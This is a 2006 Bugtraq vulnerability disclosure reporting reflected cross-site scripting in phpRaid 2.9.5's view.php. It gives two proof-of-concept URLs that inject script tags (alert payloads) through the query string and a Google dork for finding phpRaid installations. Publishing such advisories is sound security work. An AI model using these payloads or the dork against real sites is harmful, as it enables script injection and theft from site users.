bugtraq - phpRaid "view.php" XSS Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <BAY118-F27A573114AE7AAC1D11BF9C4A70@phx.gbl>
Date: Fri, 19 May 2006 11:06:30 +0000
From: "TeufeL Online" <teufel@...mail.com>
To: bugtraq@...urityfocus.com
Subject: phpRaid "view.php" XSS Vulnerability


phpRaid "view.php" XSS Vulnerability

Script : phpRaid
Script Website : http://www.spiffyjr.com/
Version : phpRaid v2.9.5

This Xss Works On phpRaid

Exploit ;

1-) 
Http://www.example.com/phpRaid/view.php?<script>alert('Xss%20Vulnerability');</script>

2-) 
Http://www.example.com/phpRaid/view.php?mode=view&raid_id=6&Sort=><script>var%20Xss_Vulnerability=31033031;alert(Xss_Vulnerability);</script>


Google Dorks : inurl:"phpRaid"

TeufeL // Netkabus.Com Research And Develop Group

_________________________________________________________________
Real-time chat with your friends - Free download - MSN Messenger  
http://messenger.msn.com/?mkt=tr